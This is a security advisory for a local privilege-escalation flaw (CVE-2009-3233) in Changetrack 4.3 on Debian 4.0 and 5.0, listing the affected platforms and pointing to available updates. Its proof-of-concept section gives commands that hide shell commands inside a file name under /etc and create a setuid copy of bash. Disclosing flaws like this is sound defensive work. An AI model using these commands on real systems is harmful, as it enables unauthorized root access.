Changetrack Local Privilege Escalation Vulnerability

BID:36420

Info

Changetrack Local Privilege Escalation Vulnerability

Bugtraq ID: 36420
Class: Input Validation Error
CVE: CVE-2009-3233
Remote: No
Local: Yes
Published: Sep 16 2009 12:00AM
Updated: Sep 22 2009 08:40PM
Credit: Marek Grzybowski
Vulnerable: Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Changetrack Changetrack 4.3
Not Vulnerable:

Discussion

Changetrack Local Privilege Escalation Vulnerability

Changetrack is prone to a local privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary commands with root privileges.

Changetrack 4.3 is vulnerable; other versions may also be affected.

Exploit / POC

Changetrack Local Privilege Escalation Vulnerability

Attackers may use readily available tools to exploit this issue.

The following example commands are available:

mkdir /etc/test
touch "/etc/test/sth
echo commmand u like most
cd ..
cd ..
cd ..
cd ..
cd bin
cp bash bash.ultimate
chmod ug+s bash.ultimate
"

echo "/etc/test/*" >> /etc/changetrack.conf

Solution / Fix

Changetrack Local Privilege Escalation Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 4.0 amd64

Debian Linux 4.0 ia-32

Debian Linux 4.0 arm

Debian Linux 5.0 hppa

Debian Linux 5.0 ia-64

Debian Linux 4.0 hppa

Debian Linux 4.0 sparc

Debian Linux 4.0 s/390

Debian Linux 5.0 m68k

Debian Linux 5.0 arm

Debian Linux 4.0 powerpc

Debian Linux 4.0 alpha

Debian Linux 4.0 armel

Debian Linux 5.0 armel

Debian Linux 4.0 m68k

Debian Linux 5.0

Debian Linux 4.0

Debian Linux 4.0 mipsel

Debian Linux 5.0 amd64

Debian Linux 5.0 alpha

Debian Linux 5.0 ia-32

Debian Linux 5.0 mips

Debian Linux 5.0 s/390

Debian Linux 5.0 mipsel

Debian Linux 5.0 powerpc

Debian Linux 4.0 ia-64

Debian Linux 4.0 mips

Debian Linux 5.0 sparc

References

Changetrack Local Privilege Escalation Vulnerability

References:

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